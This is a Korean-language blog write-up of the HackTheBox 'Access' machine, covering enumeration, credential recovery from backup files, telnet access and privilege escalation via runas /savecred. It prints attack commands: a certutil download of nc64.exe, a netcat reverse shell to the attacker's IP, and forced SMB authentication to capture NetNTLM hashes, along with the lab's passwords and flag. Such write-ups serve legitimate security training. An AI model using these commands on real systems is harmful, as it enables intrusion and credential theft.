Challenge Information
Enumeration & Attack Planning
Network
┌──(root㉿kali)-[~/Desktop/htb]
└─# nmap -sV 10.10.10.98
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-08 06:05 EST
Stats: 0:02:40 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 06:09 (0:01:14 remaining)
Nmap scan report for 10.10.10.98
Host is up (0.23s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.80 seconds
OS는 Windows고 ftp, telnet, http 포트가 열려 있다.
HTTP
웹 사이트에서는 특별한 점을 발견하지 못했다.
웹 소스코드도 체크하고 sub directory enum도 해봤지만 나오는 것은 없었다.
ftp
anonymous 접속이 가능하다.
Backups, Engineer 폴더에서 각각 backup.mdb, Access\ Contol.zip 파일을 찾을 수 있었다.
Access\ Control.zip
먼저 Zip 파일에는 Access\ Control.pst(outlook 데이터 파일) 파일이 들어있는 것을 확인할 수 있지만 암호가 걸려 해제가 안된다.
# hashcat 형식 맞추기 위해 hash만 추출
$ zip2john ./Access\ Control.zip | cut -d ':' -f 2 > zip_hash
$ hashcat -a 0 -m 13600 ./zip_hash /usr/share/wordlists/rockyou.txt
zip2john으로 hash 추출 후 내장 rockyou로 크랙을 시도해봤지만 실패했다.
backup.mdb
mdb 파일은 Access DB 파일로 MS Access로 열거나 아래 사이트를 통해 온라인으로 확인할 수 있다.
https://mdbviewer.herokuapp.com/
확인해보면 많은 테이블이 나오는데, 그 중 credential 등의 유용한 정보가 있을 확률이 높은 user 테이블을 집중적으로 확인했다.
auth_user 테이블에서 admin, engineer, backup_admin 계정의 평문 password를 찾을 수 있었다.
Access\ Control.zip 파일을 가져온 폴더명이 engineer였으니 engineer의 비밀번호인 access4u@security
로 열릴 수도 있을 것 같다.
engineer 비밀번호로 압축해제에 성공했고 나온 pst 파일을 아래 링크의 pst 온라인 뷰어로 열어봤다.
https://goldfynch.com/pst-viewer/
security 계정의 password가 4Cc3ssC0ntr0ller
라는 정보를 얻을 수 있었다.
Exploit (Initial Access)
┌──(root㉿kali)-[~/Desktop/htb/access]
└─# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
login: security
password:
*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>type Desktop\user.txt
fb4db938b9864cb63ea99ff88f72bdd1
security 계정으로 telnet 접속에 성공했고 user flag를 얻었다.
user flag: fb4db938b9864cb63ea99ff88f72bdd1
Post-Exploit
Surveying
C:\Users\security>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=ACCESS\Administrator
Type: Domain Password
User: ACCESS\Administrator
cmdkey를 통해 administrator 계정의 credential이 저장되어 있음을 확인했다.
Privilege Escalation
cmdkey에 저장된 credential은 runas /savecred
를 통해 사용할 수 있다.
당시 연습삼아 3가지 방법으로 목표를 달성했는데, 방법은 아래와 같다.
type & > 로 flag 추출
업로드 하기 귀찮아서 맨 처음 사용한 방법
administrator 권한으로 flag를 읽고 이를 >로 security 홈 폴더에 저장하면 확인이 가능하다는 것을(권한이 상속되기 때문) 이용했다.
nc를 통한 reverse shell
# attacker
$ python3 -m http.server 3333
$ nc -lvp 1234
# victim
C:\Windows\Temp>certutil -urlcache -split -f http://10.10.14.10:3333/nc64.exe
C:\Windows\Temp>runas /user:administrator /savecred "C:\Windows\Temp\nc64.exe -e cmd.exe 10.10.14.10 1234"
nc binary를 업로드 후 administrator 권한으로 reverse shell 획득
msfvenom 등으로 payload 생성 후 이를 실행 시켜도 된다.
force authentication
# attacker
$ impacket-smbserver test ./ -smb2support
# victim
C:\Users\security>runas /user:administrator /savecred "\\10.10.14.10\test\"
smb server를 연 후 강제 인증을 수행하도록 해 NetNTLM을 획득할 수 있다.
이는 PTH에 사용할 수 없으므로 크랙에 성공해야지만 의미가 있다.
이 말고도 방법은 굉장히 많다.
reg로 sam, system 덤프 후 ftp 디렉터리에 올려도 될 것 같다. (ftp 디렉터리 write 권한이 있다면)
'Wargame > HackTheBox' 카테고리의 다른 글
[AD] Support (0) | 2024.10.07 |
---|---|
[AD] Sauna (2) | 2024.07.16 |
[AD] Active (0) | 2024.07.02 |
[AD] Forest (1) | 2024.06.14 |